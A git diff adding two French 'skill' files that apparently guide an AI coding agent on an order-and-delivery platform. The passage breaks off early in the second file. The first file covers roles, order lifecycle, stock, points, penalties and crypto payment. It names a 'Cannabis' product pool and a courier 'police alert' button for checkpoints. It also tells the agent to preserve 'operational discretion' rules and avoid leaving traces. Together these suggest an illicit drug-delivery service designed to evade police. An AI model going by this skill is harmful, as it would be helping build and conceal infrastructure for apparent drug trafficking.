Compare commits
259
Commits
main
..
f904a37964
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f904a37964 | ||
|
|
c69dc70680 | ||
|
|
f3dfb7b2ae | ||
|
|
a7add1d2f7 | ||
|
|
88b5a48956 | ||
|
|
4474b84e49 | ||
|
|
75b80b8f59 | ||
|
|
82f9a2fae9 | ||
|
|
06abfee274 | ||
|
|
12cc14eb2b | ||
|
|
5a6861ae04 | ||
|
|
4499d76b9a | ||
|
|
901d013830 | ||
|
|
1623a9eafd | ||
|
|
e5a17443cf | ||
|
|
39216fc137 | ||
|
|
c35f99b410 | ||
|
|
020ba7c1e4 | ||
|
|
0d9b4adc3a | ||
|
|
075dc45ca1 | ||
|
|
45e8e75be9 | ||
|
|
9c6deb59e6 | ||
|
|
48340317d8 | ||
|
|
dfa432862a | ||
|
|
d6f5f2b1f2 | ||
|
|
74bf9cf14c | ||
|
|
e5333395b9 | ||
|
|
545e033a5f | ||
|
|
05d0d879fe | ||
|
|
734493363f | ||
|
|
8c3fa39d86 | ||
|
|
b52977af03 | ||
|
|
d8d34932e5 | ||
|
|
4de42cff57 | ||
|
|
2919bca86d | ||
|
|
becadc0bb2 | ||
|
|
4409ccf574 | ||
|
|
ae7c16c9ee | ||
|
|
06e35964b1 | ||
|
|
f3141f8f71 | ||
|
|
54fb87a464 | ||
|
|
f674b6ef80 | ||
|
|
f531ddcda8 | ||
|
|
12a7facc45 | ||
|
|
5cd8ada828 | ||
|
|
75a241dadb | ||
|
|
fcf1e737d6 | ||
|
|
cc3a283fba | ||
|
|
c8d1c75ee9 | ||
|
|
cfb5b79025 | ||
|
|
9e6473ed3f | ||
|
|
2311631825 | ||
|
|
211df2e8d6 | ||
|
|
a95ee51f6c | ||
|
|
07936f0bf6 | ||
|
|
2b1e8ec2fc | ||
|
|
6cd3fc674c | ||
|
|
8d131a1ade | ||
|
|
781212f706 | ||
|
|
9fcc77307f | ||
|
|
1721f55060 | ||
|
|
b8aab5643f | ||
|
|
3be323fcfe | ||
|
|
75161a1ae0 | ||
|
|
1d7dbe1eaa | ||
|
|
d9ad4cb2cf | ||
|
|
69711796a3 | ||
|
|
7e6629167f | ||
|
|
a8a3cdeed9 | ||
|
|
784642ffa6 | ||
|
|
79a51a03aa | ||
|
|
83329cef41 | ||
|
|
5f734d38e4 | ||
|
|
9641d7cc45 | ||
|
|
2fc6711eaa | ||
|
|
304263a95e | ||
|
|
c3e61f12fa | ||
|
|
066443e228 | ||
|
|
dae547cfa9 | ||
|
|
b670bc3108 | ||
|
|
bafed46be6 | ||
|
|
a9c53c3b62 | ||
|
|
ff967f0b7b | ||
|
|
70988be353 | ||
|
|
68bd0d57d6 | ||
|
|
4c74de017f | ||
|
|
6111f88dc0 | ||
|
|
f5de187c82 | ||
|
|
b73d190574 | ||
|
|
d28dbf9fb0 | ||
|
|
1494f5e669 | ||
|
|
a1a8e6c3f3 | ||
|
|
531602512b | ||
|
|
5568ebdf31 | ||
|
|
880d5ac234 | ||
|
|
3c265fbecf | ||
|
|
a2a796ffd8 | ||
|
|
cee859539e | ||
|
|
13d978c76e | ||
|
|
403e765a51 | ||
|
|
768de08f87 | ||
|
|
202bab0e03 | ||
|
|
2c8979c34f | ||
|
|
4bec5dcd6d | ||
|
|
74f3d4815e | ||
|
|
26f4e75314 | ||
|
|
26c0c169a3 | ||
|
|
9ec83e3987 | ||
|
|
1d0e396776 | ||
|
|
f576db7cdd | ||
|
|
450f930603 | ||
|
|
5a77bacb04 | ||
|
|
af9092fa34 | ||
|
|
9e0231a88e | ||
|
|
b12358ae02 | ||
|
|
88b6a03a9c | ||
|
|
98722b0579 | ||
|
|
4f9e73a305 | ||
|
|
ec7e59550b | ||
|
|
440792a066 | ||
|
|
12ae7282a6 | ||
|
|
4ff4bef415 | ||
|
|
5e37f4263c | ||
|
|
9cf462abdd | ||
|
|
d4c06a6d3d | ||
|
|
c3c059eab6 | ||
|
|
f72313299d | ||
|
|
1f33a89f80 | ||
|
|
9404b1e77b | ||
|
|
1a1d62a1c1 | ||
|
|
b9a532abd5 | ||
|
|
2cd7f38908 | ||
|
|
8a503b544e | ||
|
|
be7e3b3bd8 | ||
|
|
83075e30d6 | ||
|
|
c0ff6dcd1d | ||
|
|
6f8de729ba | ||
|
|
093a7e0c42 | ||
|
|
59d4f89a14 | ||
|
|
dd861fd7be | ||
|
|
e30d394c0a | ||
|
|
263c21b3b4 | ||
|
|
446b15d29c | ||
|
|
6f699bea6a | ||
|
|
13c09c10c3 | ||
|
|
4a67b0cd82 | ||
|
|
ab6092ae82 | ||
|
|
ce45314c78 | ||
|
|
d18052e749 | ||
|
|
370b1a5742 | ||
|
|
0a8548033d | ||
|
|
4792536900 | ||
|
|
cc15901d93 | ||
|
|
2c3b5cd7d2 | ||
|
|
49d7c6506b | ||
|
|
48966dcb86 | ||
|
|
7f09400e79 | ||
|
|
20da2a560f | ||
|
|
cc278ecef5 | ||
|
|
1d96d558b9 | ||
|
|
63dabc3f8e | ||
|
|
888932454c | ||
|
|
2ca28e730b | ||
|
|
13df186854 | ||
|
|
a57be7d7fe | ||
|
|
bdb76b4d3f | ||
|
|
06ab24c69b | ||
|
|
88030da8be | ||
|
|
92e1e50a5d | ||
|
|
41c1d4c24a | ||
|
|
061fb152cb | ||
|
|
7f0b3ff29b | ||
|
|
b810248d74 | ||
|
|
aada31a7da | ||
|
|
58cbc569c4 | ||
|
|
b5196c5f22 | ||
|
|
a1d5664d6b | ||
|
|
39dfbb940c | ||
|
|
3e02aaa9b2 | ||
|
|
9b50dca96c | ||
|
|
624f8a0e72 | ||
|
|
fbb680ccb2 | ||
|
|
38e9bff7ee | ||
|
|
0317fb45df | ||
|
|
8a853074b7 | ||
|
|
e7b83f406b | ||
|
|
b379508831 | ||
|
|
15a454768d | ||
|
|
7262d44f5a | ||
|
|
72c8003acf | ||
|
|
1bee48d81a | ||
|
|
56a94c8439 | ||
|
|
8df5bd66d3 | ||
|
|
929dea7249 | ||
|
|
c71b596400 | ||
|
|
d773a9c49f | ||
|
|
93120f6bfe | ||
|
|
48bdba750e | ||
|
|
f9b55d4ae4 | ||
|
|
f87a9e1b97 | ||
|
|
3dfc15cec1 | ||
|
|
a8e22e63bc | ||
|
|
e69403043d | ||
|
|
cf686ffa51 | ||
|
|
a8696b12fa | ||
|
|
94fa9de6a7 | ||
|
|
72a813cfc1 | ||
|
|
86c01789b4 | ||
|
|
ac1d3d8d9f | ||
|
|
16792094e3 | ||
|
|
f00b3a981d | ||
|
|
0350074242 | ||
|
|
afbe310dd7 | ||
|
|
cefc7e9f32 | ||
|
|
e09bbb05b9 | ||
|
|
7443d06029 | ||
|
|
f951ed9187 | ||
|
|
58b9a0827f | ||
|
|
04671637d2 | ||
|
|
921c861311 | ||
|
|
1342e71a3f | ||
|
|
32f46fcfd4 | ||
|
|
928a5f5f57 | ||
|
|
3eba3e3a15 | ||
|
|
775b9200f5 | ||
|
|
4ad80fa57d | ||
|
|
dce417c209 | ||
|
|
e0c354d76c | ||
|
|
0fe8a06bfa | ||
|
|
426f4b42ee | ||
|
|
0039dda8a0 | ||
|
|
65d1367f42 | ||
|
|
fb63855d9b | ||
|
|
9a2f0d91ad | ||
|
|
1319a4219a | ||
|
|
f41938e563 | ||
|
|
6f52f984e8 | ||
|
|
7251280598 | ||
|
|
1b32355117 | ||
|
|
73c5965a31 | ||
|
|
2be5b6e2bf | ||
|
|
71ccbd553e | ||
|
|
2bec488fd9 | ||
|
|
8792b1691e | ||
|
|
3c16ca015d | ||
|
|
a081fd3b4d | ||
|
|
1c04ce3095 | ||
|
|
f678c948dd | ||
|
|
57fb1b1ecd | ||
|
|
7af2103164 | ||
|
|
78c498159d | ||
|
|
0a4953334a | ||
|
|
80115c057b | ||
|
|
6958b30fa0 | ||
|
|
63c6086625 | ||
|
|
97712f240e | ||
|
|
810d7bcabd | ||
|
|
e47cc2bf57 | ||
|
|
1672dc1e20 |
@@ -0,0 +1,158 @@
|
|||||||
|
---
|
||||||
|
name: comprehension-metier
|
||||||
|
description: Charge le modèle métier complet de la plateforme de gestion de commandes/livraison (rôles, cycle de vie des commandes, stock, catalogue, points/récompenses, parrainage, pénalités, paiements, GPS/assignation, alertes, paramètres configurables). À invoquer avant toute analyse, debug ou modification qui touche à la logique métier — pas seulement au code — pour raisonner avec les vraies règles du business plutôt qu'avec des hypothèses.
|
||||||
|
---
|
||||||
|
|
||||||
|
# Compréhension métier — Plateforme de gestion de commandes/livraison
|
||||||
|
|
||||||
|
Référence condensée mais complète du domaine, construite à partir du `README.md`, des modèles Go (`models/`) et du code des handlers/DB. Objectif : éviter de raisonner uniquement "à partir du code" sans connaître les règles métier réelles, ce qui est la source la plus fréquente de bugs silencieux dans ce projet (stock, remboursements, idempotence, paramètres codés en dur au lieu de suivre `AppSettings`).
|
||||||
|
|
||||||
|
## Contexte général
|
||||||
|
|
||||||
|
Plateforme de commande + livraison ("Milieu-Nantais", contact Telegram `MLN44LA`) avec catalogue produit par catégories (ex. pools de points nommés "Cannabis", "Accessoires" dans les settings par défaut), paiement cash ou crypto, livreurs géolocalisés avec assignation automatique, et un livreur dispose d'un bouton d'alerte police en cas de contrôle/danger pendant une livraison. Cette nature du produit (aucune auto-inscription client, alerte police, paiement crypto natif, pénalités dissuasives sur annulation tardive) doit rester présente à l'esprit : les règles de sécurité et de discrétion opérationnelle (VPN, filtrage des données sensibles pour les livreurs, pas de traces inutiles) sont volontaires, pas accidentelles.
|
||||||
|
|
||||||
|
## Rôles et permissions
|
||||||
|
|
||||||
|
| Rôle | Description | Peut faire |
|
||||||
|
|------|-------------|------------|
|
||||||
|
| **client** | Utilisateur final | Panier, checkout, suivi commande, approuver/annuler, parrainage, points/récompenses, profil, 2FA |
|
||||||
|
| **admin** | Gestion complète | Tout : produits, clients, commandes, livreurs, cabine, pénalités, paramètres globaux, reset stats |
|
||||||
|
| **livreur** | Livreur assigné | Voir ses livraisons (données client filtrées), changer statut, position GPS, queue, alerte police, notifications |
|
||||||
|
| **cabine** | Cuisine/préparation | Voir items commande, préparer/emballer, assigner livreur, confirmer réception, pénalités client, alertes |
|
||||||
|
|
||||||
|
Règles clés (dont certaines issues du changelog sécurité v5.4.0) :
|
||||||
|
- **Aucune auto-inscription** — les comptes clients sont créés **uniquement par un admin** (`POST /api/v2/admin/protected/clients`). Un nouvel endpoint d'inscription libre serait une régression de sécurité majeure.
|
||||||
|
- **Création de comptes admin entièrement bloquée côté application** — un compte `admin` ne peut être créé qu'en base de données directement, jamais via l'API, quel que soit le rôle appelant (y compris un autre admin).
|
||||||
|
- **`cabine` n'a plus aucun droit de création d'utilisateurs ou de clients** (retiré côté backend en v5.4.0) — seul `admin` crée des comptes `livreur` ou `cabine`.
|
||||||
|
- JWT séparés par famille de rôle : secret client (`USER_JWT_SECRET`, expiration 5h) ≠ secret admin/livreur/cabine (`ADMIN_JWT_SECRET`, expiration 10h/2h selon contexte).
|
||||||
|
- Chaque action livreur doit vérifier que la commande lui est **assignée** (`livreur_assign == usernameStr`), pas seulement le rôle.
|
||||||
|
- **Filtrage des données sensibles** : les livreurs ne reçoivent jamais le téléphone du client dans `GET /livreur/deliveries` — uniquement nom/prénom. Tout nouvel endpoint livreur exposant des données client doit respecter ce filtrage.
|
||||||
|
|
||||||
|
## Cycle de vie d'une commande
|
||||||
|
|
||||||
|
```
|
||||||
|
pending → assigned → en_route → arrived → livre → approved
|
||||||
|
↓ ↓ ↓ ↓
|
||||||
|
cancelled (depuis presque tous les états — jamais depuis approved, jamais deux fois de suite)
|
||||||
|
```
|
||||||
|
|
||||||
|
- `pending` : créée au checkout, en attente d'assignation livreur (auto-assign GPS au checkout, ou worker CRON toutes les 1 minute, ou assignation manuelle admin/cabine).
|
||||||
|
- `assigned` : livreur choisi, pas encore parti. Le livreur peut aussi être réassigné manuellement (admin/cabine).
|
||||||
|
- `en_route` : livreur en chemin (`start` puis mise à jour de statut). ETA calculée (TomTom, fallback Haversine) et stockée dans Redis (`command:eta:{id}`), utilisée pour les notifications Telegram avec ETA.
|
||||||
|
- `arrived` : livreur à destination — déclenché par le livreur (GPS), ou par admin/cabine via bouton "Le livreur est là" (`notify-client`). Notifie le client (Telegram). **Timer 5 minutes** démarre côté app livreur (`frontend-admin`, `DashboardScreen.tsx`, `ABSENT_TIMEOUT_SECS = 300`) → si le client ne descend pas, bouton **"Client absent"** apparaît.
|
||||||
|
- `livre` : livraison confirmée. Deux voies : validation GPS livreur (distance ≤ 100m de la destination, coordonnées obligatoires) via `PUT /livreur/deliveries/:id/status`, ou override admin/cabine (`force-validate`/statut direct). En attente d'approbation client pour finaliser.
|
||||||
|
- `approved` : finalisée. Déclenché par le client (`POST /commands/:id/approve` avec note + commentaire livreur), ou admin/cabine (`confirm-reception`/statut direct en override). Points de fidélité attribués **à ce moment précis**, jamais avant (`CalculateAndAddPointsForCommandTx`, même transaction que le passage en `approved`). **Terminal** — plus aucune modification de stock ou de statut après.
|
||||||
|
- `cancelled` : peut survenir depuis quasiment tous les états précédents. Jamais depuis `approved`, jamais une seconde fois depuis `cancelled` (idempotence obligatoire).
|
||||||
|
- `pending_payment` : statut intermédiaire spécifique au paiement crypto (voir section Paiements) — pas dans le cycle "normal", bascule vers `pending` (paiement confirmé) ou `cancelled` (paiement échoué/expiré).
|
||||||
|
|
||||||
|
**Trois chemins de code différents pour l'annulation** : `CancelCommandAtomic` (client), `UpdateDeliveryStatus`/branche `cancelled` (livreur — inclut le flux "client absent"), `UpdateCommandStatusAdmin` (admin/cabine). Toute règle métier touchant l'annulation (remboursement stock, pénalité, notification) doit être répercutée dans les **trois**, plus `CancelCryptoCommand` pour le cas crypto.
|
||||||
|
|
||||||
|
**Correction d'adresse** : si une adresse ne peut pas être géocodée ou est jugée invalide, un flux de proposition existe (`adresse_correction` table, `invalid_address` → `correct_address`) — le client peut répondre à une proposition (`POST /commands/:id/address/respond`), l'admin peut modifier l'adresse directement (`PUT /orders/:id/address`).
|
||||||
|
|
||||||
|
## Produits, catalogue et tarification
|
||||||
|
|
||||||
|
- Un produit (`products`) a un `stock` en **float** (pas un entier — permet des unités fractionnaires/dosages), une `unit`, une ou plusieurs catégories, un flag `coming_soon` (produit visible mais pas encore commandable), et des médias (images).
|
||||||
|
- **Prix par quantité** (`product_prices`) : chaque palier de quantité a son propre prix et un flag `active_price`. Un prix désactivé (`active_price = false`) n'est **pas supprimé** — juste masqué. Les endpoints publics/client ne renvoient que les prix actifs ; `admin` et `cabine` voient tous les prix (actifs et inactifs) pour la gestion complète. Le frontend filtre aussi côté client par sécurité (`filter(p => p.active_price !== false)`).
|
||||||
|
- Désactiver un prix dans l'UI admin (retirer un prix existant) doit désactiver, pas supprimer — cohérence avec l'historique des commandes passées qui référencent ce prix.
|
||||||
|
|
||||||
|
## Panier et stock
|
||||||
|
|
||||||
|
- Le panier (`baskets`) vérifie le stock disponible à l'ajout (`AddToBasket`, rejet si insuffisant) mais ne le réserve pas au sens strict (pas de verrou tant que l'article reste dans le panier) — le stock réel n'est **décrémenté qu'à la validation de la commande** (checkout), dans une transaction unique avec la création de la commande et le vidage du panier.
|
||||||
|
- Un modèle `StockInfo` distingue `Quantity` (stock brut), `Reserved` (quantité présente dans des paniers actifs, à titre indicatif) et `Available` (`Quantity - Reserved`) — utilisé pour l'affichage admin, pas comme mécanisme de réservation dur.
|
||||||
|
- **Articles récompense** (`is_reward = true`, obtenus via le système de points, prix affiché = 0€ mais valeur indicative dans `RewardItem.Price`) : ce sont des produits physiques réellement distribués. **Le stock doit être décrémenté pour eux comme pour un article payant**, et remboursé de la même façon en cas d'annulation. Ne jamais les exclure du décompte de stock — seule leur tarification (débit en points au lieu d'euros) diffère.
|
||||||
|
- **Symétrie obligatoire** : toute décrémentation de stock doit avoir un chemin de remboursement, et vice-versa, **pour tous les articles sans exception** (récompense ou non). Une asymétrie désynchronise durablement le stock affiché de la réalité physique — c'est la classe de bug la plus dangereuse et la plus difficile à détecter de ce projet (corruption silencieuse, cumulative, visible seulement des semaines plus tard).
|
||||||
|
- Toute commande annulée deux fois (retry réseau, double-tap, ou canaux différents pour la même commande) ne doit rembourser le stock **qu'une seule fois** → nécessite un statut "already cancelled" idempotent vérifié **dans** une transaction verrouillée (`FOR UPDATE`), pas une simple vérification préalable hors transaction.
|
||||||
|
- Créer la commande + insérer les items + décrémenter le stock + vider le panier doivent être **une seule transaction** — sinon une commande "fantôme" (créée mais jamais payée en stock) peut survivre à un échec de décrément, puis être annulée plus tard et rembourser un stock jamais consommé.
|
||||||
|
|
||||||
|
## Paramètres globaux configurables (`AppSettings`)
|
||||||
|
|
||||||
|
Presque toutes les règles business ci-dessous sont **pilotées par un objet de settings unique**, modifiable par l'admin (`GET/PUT /api/v2/admin/protected/settings`) — ne jamais coder en dur une valeur qui existe déjà comme champ de `AppSettings` :
|
||||||
|
|
||||||
|
| Domaine | Champs | Notes |
|
||||||
|
|---|---|---|
|
||||||
|
| Pénalités | `PenaltiesEnabled`, `ShowAmendeScore`, `PenaltyTiers[]` | Tiers par défaut : 0→20€, 1→50€, 2→100€, 3→150€ (voir section Pénalités) |
|
||||||
|
| Points | `PointsEnabled`, `PointsPools[]`, `PointsReward` | Pools par défaut : "Pool 1"/"Pool 2" avec barèmes différents (voir section Points) |
|
||||||
|
| Parrainage | `ReferralEnabled`, `ReferralAmount` | Montant crédité par défaut = 0 (doit être configuré par l'admin) |
|
||||||
|
| Paiement crypto | `CryptoPaymentEnabled`, `CryptoOnly`, `NowPaymentsAPIKey`, `NowPaymentsIPNSecret`, `NowPaymentsCurrencies[]` | `CryptoOnly = true` désactive le cash |
|
||||||
|
| Livraison | `DeliverySchedule` (horaires par jour), `PostalZones[]` (nom, minimum de commande, codes postaux), `DeliveryMode` | Voir sections dédiées |
|
||||||
|
| Telegram | `TelegramBotToken`, `TelegramBotUsername`, `TelegramNotificationsEnabled`, `Telegram2FAEnabled` | |
|
||||||
|
| Vitrine | `ShopName` (def. "Milieu-Nantais"), `ContactTelegram` (def. "MLN44LA"), couleurs admin/client, dégradé titre | Purement cosmétique |
|
||||||
|
|
||||||
|
Toute nouvelle règle configurable doit suivre ce même modèle (ajout d'un champ `AppSettings` + valeur par défaut dans `DefaultSettings()`) plutôt qu'une constante Go.
|
||||||
|
|
||||||
|
## Système de points et récompenses (multi-pool)
|
||||||
|
|
||||||
|
- **Plusieurs "pools" de points** peuvent coexister, chacun associé à un sous-ensemble de catégories de produits (`PointsPool.Categories`) et avec son propre barème (`Tiers` : palier de montant dépensé → points gagnés, ex. 30–50€ → 1 point, 401€+ → 10 points). Un même achat peut alimenter un pool différent selon la catégorie du produit acheté.
|
||||||
|
- Les points cumulés par pool sont stockés hors table `clients` classique (`points_extra`/`points_redeemed`, champs calculés `gorm:"-"`) — lus via `GetClientPointsAndRewards`.
|
||||||
|
- **Récompense globale par seuil** (`PointsReward`) : un seuil de points (`Threshold`) débloque une récompense, dont l'éligibilité est filtrée par catégorie/produits (`CategoryConfigs`) **par pool** (seules les catégories appartenant au pool comptent). Le nombre de récompenses disponibles = `points_du_pool / Threshold - déjà_réclamées`.
|
||||||
|
- **Réclamation** (`POST` claim, `ClaimMyReward`) : ajoute les `RewardItems` définis (produit + quantité) au panier avec `is_reward = true` et `reward_pool_key` renseigné — c'est le seul mécanisme qui produit des articles récompense. Consomme une unité de récompense disponible pour ce pool (`points_redeemed` incrémenté).
|
||||||
|
- L'admin peut réinitialiser les récompenses réclamées d'un client pour un pool donné (`AdminResetClientRedeemed`).
|
||||||
|
|
||||||
|
## Parrainage (parrain/filleul)
|
||||||
|
|
||||||
|
- Un client peut être parrainé par un autre (`clients.parrain`). Lier un parrain + créditer le crédit de parrainage (`referral_balance`, montant = `AppSettings.ReferralAmount`) doit être **atomique** (une seule transaction) — sinon un crédit peut être appliqué sans lien enregistré ou l'inverse.
|
||||||
|
- Le crédit de parrainage se débite au checkout (`DebitReferralBalance`) et doit respecter le minimum de la zone de livraison **après** déduction du crédit (le panier effectif payé doit rester ≥ minimum de la zone du code postal, `PostalZones`).
|
||||||
|
- Si le checkout échoue après débit du crédit (paiement crypto refusé, création de commande en échec), le crédit doit être **recrédité** (`CreditClientReferral`) — sinon perte sèche pour le client.
|
||||||
|
- Le système peut être entièrement désactivé (`ReferralEnabled = false`) — vérifier ce flag avant d'exposer une action de parrainage.
|
||||||
|
|
||||||
|
## Pénalités clients (amendes)
|
||||||
|
|
||||||
|
- Amendes **client uniquement**, jamais de pénalité livreur. Stockées dans `clients.amende`, avec compteur `cancellations_count` et `last_penalty_reason`.
|
||||||
|
- Barème progressif **configurable** (`AppSettings.PenaltyTiers`, fallback interne si settings illisibles) — défaut : 1ère annulation 20€, 2ème 50€, 3ème 100€, 4ème+ 150€. Le montant appliqué = `penaltyForCount(cancellations_count, PenaltyTiers)`.
|
||||||
|
- Le système entier peut être désactivé (`PenaltiesEnabled = false`) — dans ce cas le middleware `BlockClientIfPenalty` laisse passer sans vérification.
|
||||||
|
- **Blocage du checkout** : tant que `amende > 0`, le middleware `BlockClientIfPenalty` bloque toute tentative de checkout (403), avec un cache de la pénalité en session Redis (`PenaltyCache`) pour éviter une lecture DB à chaque requête. Message standard invite à contacter le shop via Telegram pour régulariser.
|
||||||
|
- **Sources d'amende** :
|
||||||
|
- Client annule sa propre commande (`ApplyCancellationPenalty`, incrémente `cancellations_count`).
|
||||||
|
- Livreur marque le client absent depuis le statut `arrived` (bouton "Client absent", `issue_type: client_absent`) → `ApplyCancellationPenalty` appliqué automatiquement au **client**, jamais au livreur.
|
||||||
|
- Admin peut appliquer une pénalité manuelle arbitraire (`POST /admin/protected/penalty`, montant et raison libres) — indépendante du barème progressif.
|
||||||
|
- "Annulation tardive" (règle spécifique au flux client `CancelCommandAtomic`, distincte du flux "client absent" livreur) = livreur déjà assigné ET (statut `en_route`/`arrived` OU ETA valide déjà définie en Redis). Sans livreur assigné ou sans ETA valide → annulation sans pénalité.
|
||||||
|
|
||||||
|
## Mode d'assignation des livreurs
|
||||||
|
|
||||||
|
- `DeliveryMode.Mode` : `"single"` (un seul pool de livreurs, toutes catégories confondues — mode par défaut) ou `"category_based"` (chaque livreur est routé uniquement vers les commandes contenant les catégories qui lui sont assignées, via `CategoryRoutes`).
|
||||||
|
- En mode `category_based`, l'auto-assignation GPS doit filtrer les livreurs éligibles par catégorie **avant** de calculer les distances — une commande mixte (catégories de livreurs différents) est un cas limite à traiter explicitement si cette fonctionnalité est étendue.
|
||||||
|
|
||||||
|
## GPS, auto-assignation et ETA
|
||||||
|
|
||||||
|
- **Géocodage** : Nominatim (OpenStreetMap), résultat caché 7 jours (`geocode:cache:{hash}`).
|
||||||
|
- **Distance à vol d'oiseau** : formule Haversine, calculée localement, aucun appel externe.
|
||||||
|
- **ETA avec trafic réel** : TomTom Routing API. **Rotation automatique jusqu'à 3 clés** (`TOMTOM_API_KEY_1/2/3`) — en cas de quota dépassé (403/429), bascule automatique sur la clé suivante sans interruption ; si toutes les clés sont épuisées, fallback sur estimation Haversine + vitesse moyenne 30 km/h (flag `fallback_used: true` dans la réponse).
|
||||||
|
- **Auto-assignation** : au checkout (immédiate si un livreur est disponible) et via un worker CRON toutes les 1 minute pour les commandes restées `pending`. Sélectionne le livreur disponible le plus proche avec de la capacité ; si tous sont à capacité maximale, le système peut forcer l'assignation.
|
||||||
|
- **Capacité de queue** : jusqu'à **10 commandes** par livreur. Un livreur `offline` ne reçoit aucune commande.
|
||||||
|
- Position GPS livreur stockée dans Redis (`delivery:location:{username}`, TTL 2h) et diffusée en temps réel via Redis Pub/Sub (`channel:position_updates`) pour la carte client/admin.
|
||||||
|
- Liens de navigation générés vers Google Maps / Waze / Apple Maps / OSM / Bing / Here, pour le livreur comme pour l'admin (supervision).
|
||||||
|
|
||||||
|
## Paiements
|
||||||
|
|
||||||
|
- **Cash** (par défaut, sauf si `CryptoOnly = true`) : le livreur encaisse à la livraison, aucun flux électronique.
|
||||||
|
- **Crypto** (NowPayments) : commande passe en `pending_payment` en attendant confirmation. Le webhook IPN (`POST /webhooks/nowpayments`) est **public** mais signé HMAC-SHA512 (`x-nowpayments-sig`) — vérifier la signature avant tout traitement, jamais faire confiance au contenu brut. Statuts `finished`/`confirmed` → activent la commande (repasse en `pending`, entre dans le cycle normal) ; `failed`/`expired` → annulent et remboursent stock + crédit parrainage.
|
||||||
|
- Le stock est décrémenté **dès la création de la commande crypto** (avant confirmation du paiement) — une commande crypto non payée réserve quand même le stock pendant la fenêtre de paiement, et le libère si elle expire/échoue.
|
||||||
|
- `CryptoPaymentEnabled = false` désactive complètement l'option crypto au checkout ; `CryptoOnly = true` la rend obligatoire.
|
||||||
|
|
||||||
|
## Alertes police (sécurité opérationnelle livreur)
|
||||||
|
|
||||||
|
- Un livreur peut déclencher une **alerte police** à tout moment (`POST /livreur/alert`, message optionnel) — notifie immédiatement tous les admins et cabine (`NotifyAllAdminCabineAlert`). C'est un bouton de sécurité personnelle, pas lié à une commande précise.
|
||||||
|
- Les alertes peuvent être supprimées par le livreur qui les a créées ou par un admin.
|
||||||
|
|
||||||
|
## Notifications et 2FA
|
||||||
|
|
||||||
|
- **Telegram uniquement** — les push Expo sont abandonnées (v5.4.0). Clients, livreurs, admins lient leur compte via un token à usage unique (TTL court, ex. 5 min).
|
||||||
|
- Types de notifications : `assigned`, `en_route` (avec ETA), `arrived`, `livre`, `ready_pickup` (cabine), `address_proposal`.
|
||||||
|
- 2FA (client) : nécessite Telegram lié + activation admin globale (`Telegram2FAEnabled`) + toggle personnel du client. Code 6 chiffres, `session_token` TTL 5 min, rate-limité (429 après trop de tentatives).
|
||||||
|
- Le système de notifications peut être désactivé globalement (`TelegramNotificationsEnabled = false`).
|
||||||
|
|
||||||
|
## Infrastructure (contexte pour évaluer l'impact d'un changement)
|
||||||
|
|
||||||
|
- Serveurs séparés reliés par VPN WireGuard privé (`10.0.0.0/24`) : `vpn-uber` (jump host), `monitoring-uber` (Wazuh/Dozzle/Beszel), `backup-mln` (MinIO S3 + ClamAV), `bdd-redis-prod` (PostgreSQL + Redis, **jamais exposé publiquement**), `prod-uber` (backend + WAF, seul serveur public sur 80/443).
|
||||||
|
- PostgreSQL et Redis accessibles uniquement via IP VPN (`10.0.0.5`) depuis `prod-uber` — **latence réseau non négligeable**, d'où l'importance de grouper les requêtes (batch inserts, requêtes `IN`, parallélisation des stats déjà faites dans ce projet).
|
||||||
|
- WAF nginx + ModSecurity (OWASP CRS) devant l'API en prod ; logs nginx/ModSecurity montés sur l'hôte pour collecte Wazuh.
|
||||||
|
- Déploiement : push sur `pre-prod` → CI build image Docker (`xor1234/backend-mln:pre-prod`) → déploiement SSH.
|
||||||
|
- Workers automatiques : auto-assignation (1 min), nettoyage queues (5 min), mise à jour ETA (30 s), nettoyage stock (5 min).
|
||||||
|
|
||||||
|
## Erreurs passées à ne pas reproduire (mémoire vive du projet)
|
||||||
|
|
||||||
|
- Vider le panier **avant** de décrémenter le stock (au lieu d'une seule transaction) → stock jamais décrémenté en pratique.
|
||||||
|
- Restaurer le stock sans vérifier le statut précédent dans une transaction verrouillée → double remboursement sur double-annulation (le livreur avait ce bug, l'admin ne l'avait pas — incohérence entre chemins de code équivalents).
|
||||||
|
- Créer la commande + insérer les items **avant** la transaction de décrément de stock → commande fantôme si le décrément échoue (stock insuffisant détecté trop tard), qui peut ensuite être annulée et rembourser un stock jamais consommé.
|
||||||
|
- Exclure les articles récompense du décompte de stock sans les exclure aussi du remboursement (ou l'inverse) → asymétrie, stock qui dérive. Règle définitive validée par l'équipe : **les récompenses décrémentent et remboursent le stock exactement comme un article payant**.
|
||||||
|
- Coder en dur une valeur métier (barème de pénalité, montant de parrainage, seuil de points) qui existe déjà comme champ configurable dans `AppSettings` — toujours lire les settings, ne jamais dupliquer une constante.
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
---
|
||||||
|
name: plan-fonctionnalite
|
||||||
|
description: À invoquer avant d'implémenter toute nouvelle fonctionnalité ou modification significative de logique métier sur ce projet. Produit un plan détaillé (compréhension métier, sécurité, impact données, concurrence, tests) à valider avec l'utilisateur avant d'écrire du code — n'implémente rien tant que le plan n'est pas approuvé.
|
||||||
|
---
|
||||||
|
|
||||||
|
# Plan de développement de fonctionnalité
|
||||||
|
|
||||||
|
Ce skill encadre le développement de toute fonctionnalité non triviale sur ce projet. Règle centrale : **pas de code avant un plan validé par l'utilisateur**, sauf si la demande est un pur bug fix local déjà bien compris (dans ce cas, ce skill ne s'applique pas — voir "Quand ne pas utiliser ce skill").
|
||||||
|
|
||||||
|
## Étape 0 — Charger le contexte
|
||||||
|
|
||||||
|
Avant de rédiger le plan :
|
||||||
|
1. Invoquer/relire le skill `comprehension-metier` pour ancrer le raisonnement dans les vraies règles du domaine (rôles, cycle de vie commande, stock, parrainage, pénalités, paiements).
|
||||||
|
2. Repérer le(s) rôle(s) concerné(s) par la fonctionnalité (client / admin / livreur / cabine) et les fichiers existants correspondants (`handlers/`, `db/`) pour ne pas dupliquer un mécanisme déjà présent.
|
||||||
|
3. Si la demande est ambiguë sur une règle métier (ex: "qui peut faire X", "est-ce que ça affecte le stock"), poser la question plutôt que de supposer.
|
||||||
|
|
||||||
|
## Étape 1 — Rédiger le plan
|
||||||
|
|
||||||
|
Utiliser `EnterPlanMode` si l'outil est disponible pour ce tour ; sinon présenter le plan en texte structuré et attendre confirmation explicite avant de coder. Le plan doit couvrir, dans cet ordre :
|
||||||
|
|
||||||
|
### 1. Résumé fonctionnel
|
||||||
|
Quoi, pour qui, pourquoi — en une ou deux phrases orientées métier (pas techniques).
|
||||||
|
|
||||||
|
### 2. Rôles et permissions
|
||||||
|
